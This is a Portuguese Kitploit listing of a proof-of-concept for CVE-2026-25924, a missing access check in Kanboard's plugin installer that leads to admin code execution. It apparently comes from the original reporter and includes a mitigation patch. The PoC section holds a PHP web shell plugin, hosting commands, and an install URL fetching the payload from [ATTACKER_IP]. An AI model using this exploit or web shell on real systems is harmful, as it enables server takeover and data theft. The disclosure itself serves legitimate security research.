Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25924 — Prova de conceito de exploit para CVE-2026-25924, demonstrando execução remota de código administrativa no Kanboard por meio de uma verificação de controle de acesso ausente na instalação de plugins. | Kitploit
Ferramentas/GitHubGitHub/drkim-dev/cve-2026-25924
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubdrkim-dev/cve-2026-25924

CVE-2026-25924

Prova de conceito de exploit para CVE-2026-25924, demonstrando execução remota de código administrativa no Kanboard por meio de uma verificação de controle de acesso ausente na instalação de plugins.

Ver Repositório
223há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25924 PoC - RCE Administrativo no Kanboard

Prova de Conceito para RCE Administrativo via Bypass de Controle de Segurança

Divulgação: Originalmente reportado por mim via GHSA-grch-p7vf-vc4f

⚠️ Uso exclusivo para pentest/pesquisa autorizados.

Informações da Vulnerabilidade

CampoValor
ID CVECVE-2026-25924
Severidade🔴 Alta
Pontuação CVSS8.4
Vetor CVSS[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWECWE-863: Autorização Incorreta
Produto AfetadoKanboard ≤ 1.2.49
Versão Corrigida1.2.50
AdvisoryGHSA-grch-p7vf-vc4f

CVE-2026-25924: Falta de Controle de Acesso na Instalação de Plugins leva a RCE Administrativo

1. Resumo

Uma vulnerabilidade de bypass de controle de segurança no Kanboard v1.2.49 permite que um administrador autenticado alcance Execução Remota de Código (RCE) completa. Embora a aplicação oculte corretamente a interface de instalação de plugins quando a configuração PLUGIN_INSTALLER está definida como false, o endpoint backend subjacente não verifica essa configuração de segurança. Um atacante pode explorar essa falha para forçar o servidor a baixar e instalar um plugin malicioso, levando à execução arbitrária de código.

  • Tipo de Vulnerabilidade: CWE-863 (Autorização Incorreta) / CWE-94 (Injeção de Código)
  • Severidade: Alta (RCE Administrativo)
  • Versão Afetada: Kanboard <= v1.2.49

2. Detalhes

1
2

O Kanboard utiliza uma constante de segurança PLUGIN_INSTALLER para restringir a capacidade de instalar plugins a partir de URLs remotas. Isso é definido em app/constants.php:

Arquivo: app/constants.php

root@kitploit:~
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons

A aplicação verifica corretamente essa configuração nos métodos de renderização da interface do PluginController, como show() e directory(), usando Installer::isConfigured():

Arquivo: app/Controller/PluginController.php

root@kitploit:~
22:     public function show()
23:     {
...
28:             'is_configured' => Installer::isConfigured(),
29:         )));
30:     }

No entanto, o método install() no mesmo controller não realiza essa verificação. Ele apenas valida o token CSRF antes de prosseguir para baixar e instalar um plugin a partir de uma URL arbitrária fornecida no parâmetro archive_url.

Código Vulnerável em app/Controller/PluginController.php:

root@kitploit:~
56:     public function install()
57:     {
58:         $this->checkCSRFParam();
59:         $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60: 
61:         try {
62:             $installer = new Installer($this->container);
63:             $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64:             $this->flash->success(t('Plugin installed successfully.'));
65:         } catch (PluginInstallerException $e) {
66:             $this->flash->failure($e->getMessage());
67:         }
68: 
69:         $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70:     }

Como Installer::install() também não verifica a constante PLUGIN_INSTALLER, um administrador pode contornar a restrição pretendida simplesmente acessando o endpoint diretamente com um token CSRF válido. Uma vez instalado, o plugin malicioso é automaticamente carregado e executado pelo Kanboard\Core\Plugin\Loader, concedendo ao atacante RCE completo.

3. Prova de Conceito (PoC)

Passo 1: Criar um Plugin Malicioso

Crie um diretório chamado Exploit com um arquivo Plugin.php:

root@kitploit:~
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;

class Plugin extends Base {
    public function initialize() {
        // Web shell listener
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}

Passo 2: Hospedar o Arquivo do Plugin

Compacte a pasta e hospede-a em um servidor controlado pelo atacante:

root@kitploit:~
zip -r exploit.zip Exploit/
python3 -m http.server 80
8

Passo 3: Acionar a Instalação

Faça login no Kanboard como administrador. Obtenha seu csrf_token no código-fonte da página e navegue para: http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN] 3 image image

Passo 4: Executar Comandos Remotos

Use o parâmetro cmd para executar comandos arbitrários do sistema: http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id

6
7

4. Impacto

Esta vulnerabilidade permite que um administrador contorne as restrições de segurança impostas pelo host. Ao alcançar RCE, o atacante pode:

  • Ler/gravar arquivos arbitrários no servidor (ex.: /etc/passwd, config.php).
  • Acessar e despejar todo o banco de dados.
  • Realizar pivô para a rede interna.
  • Manter acesso persistente via web shell ou reverse shell.

5. Mitigação Recomendada

Adicione uma verificação para Installer::isConfigured() no início dos métodos install() e update() em app/Controller/PluginController.php:

root@kitploit:~
if (! Installer::isConfigured()) {
    throw new AccessForbiddenException();
}
Baixar ferramenta